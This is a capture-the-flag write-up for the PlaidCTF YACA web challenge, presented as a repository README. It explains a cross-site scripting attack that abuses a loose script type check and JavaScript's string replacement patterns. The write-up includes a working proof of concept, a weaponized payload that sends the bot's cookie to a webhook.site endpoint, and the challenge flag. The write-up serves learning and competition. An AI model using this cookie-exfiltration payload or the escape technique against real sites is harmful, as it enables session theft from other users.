nitowa 6510137042 fix typo | 2 years ago | |
---|---|---|
client | 2 years ago | |
src | 2 years ago | |
.yarnrc.yml | 2 years ago | |
Dockerfile | 2 years ago | |
README.md | 2 years ago | |
package-lock.json | 2 years ago | |
package.json | 2 years ago | |
tsconfig.json | 2 years ago | |
yarn.lock | 2 years ago |
Participant: Peter Millauer / nitowa (01350868)
Classical XSS web exploit. The solution used special string replacement patterns to break out of string escapes.
Type: Web
Task sources: https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA
Goal: Steal the cookie of the page-worker
First, I downloaded the sources and ran the program locally. For this purpose scripts were provided in package.json
.
The provided Dockerfile
can also be used for the same effect.
On the “Submit your Program” page we are asked to submit a program name and mathematical formula. Two formats are supported: plain formula and AST.
On the server, checks are performed to make sure the values are safe, but the check for the program type is too permissive:
// index.ts
const { type, program } = req.body;
if (
typeof type !== "string"
|| type.match(/^[a-zA-Z\-/]{3,}$/) === null //<-- Any Alphanumeric(plus dashes and slashes) string with length >= 3
|| typeof program.name !== "string"
|| typeof program.code !== "string"
|| program.code.length > 10000
) {
return res.status(500).send("Invalid program");
}
The value of type
is then string-replaced into the template’s script tag
//index.ts
const formattedFile = template
.replace("{{ content-type }}", type)
.replace("{{ program }}", sanitizedProgram);
<!-- calculator.hbs -->
<script id="program" language="json" type="{{ content-type }}">
{{ program }}
</script>
which for the default values results in this
<script id="program" language="json" type="application/x-yaca-code">
{"name":"New Program","code":"(-b + sqrt(b^2 - 4a*c)) / 2a"}
</script>
Using the type="application/javascript"
, we can turn the <script>
tag into an executable javascript scope. The next challenge is to break out of the string-escaped JSON format.
To achieve this, I employed the “special string replacement template” functionality of javascript. (For further reading on string replacement patterns see References at the end of the document)
A simple proof of concept is to POST
to /upload
{
type: "application/javascript",
program: {
name: "$'$`alert(1)//",
code: "a"
}
}
which results in a generated script tag that looks like this
<script id="program" language="json" type="application/javascript">
alert(1)//","code":"a"}
</script>
Now all that is left is to weaponize the exploit. A simple javascript script was used and executed manually via the browser’s console.
In the first step I POST
my exploit to /upload
, which responds with the URL of the uploaded formula. I then redirect to that page.
(async() => {
const response = await fetch(`http://${window.location.host}/upload`, {
method: 'post',
body: JSON.stringify({
type: "application/javascript",
program: {
name: "$'$`fetch('https://webhook.site/33a3e928-e7e0-4c82-92d0-30a375783f5b?x='+document.cookie, {method: 'get'})//",
code: "a"
}
}),
headers: {
'Content-Type': "application/json"
},
})
const result = await response.text()
window.location.href = `http://${window.location.host}${result}`
})()
Since the exploit breaks the “Report” button that triggers the page-worker
bot, I get the code of the associated EventListener
and run it manually.
const file = location.pathname.split("/").slice(-1)[0];
fetch(`/report`, {
method: "post",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({ file })
});
At this point the page-worker
executes my exploit payload and sends its cookie to my defined REST endpoint.
The flag value was pctf{someone_should_document_importmaps_in_mdn_probably}
.
A great deal of effort went into reading ast-to-js
, eval-code.mjs
, lex.mjs
.
The first intuition was that the AST representation of the submitted code may be attackable. However even after extensive work on the files, the presented compiler seems to work as intended and appears to be safe.
Unknown as of yet.
I learned about the string replacement template functionality (documentation see below). Truly a horrible piece of technology that I cannot believe has any other purpose for existing other than to introduce security vulnerabilities.
Even as an experienced JS developer I had no idea these exist, and they easily take a top-3 spot in the “things I hate about Javascript” list.
Javascript string replacement templates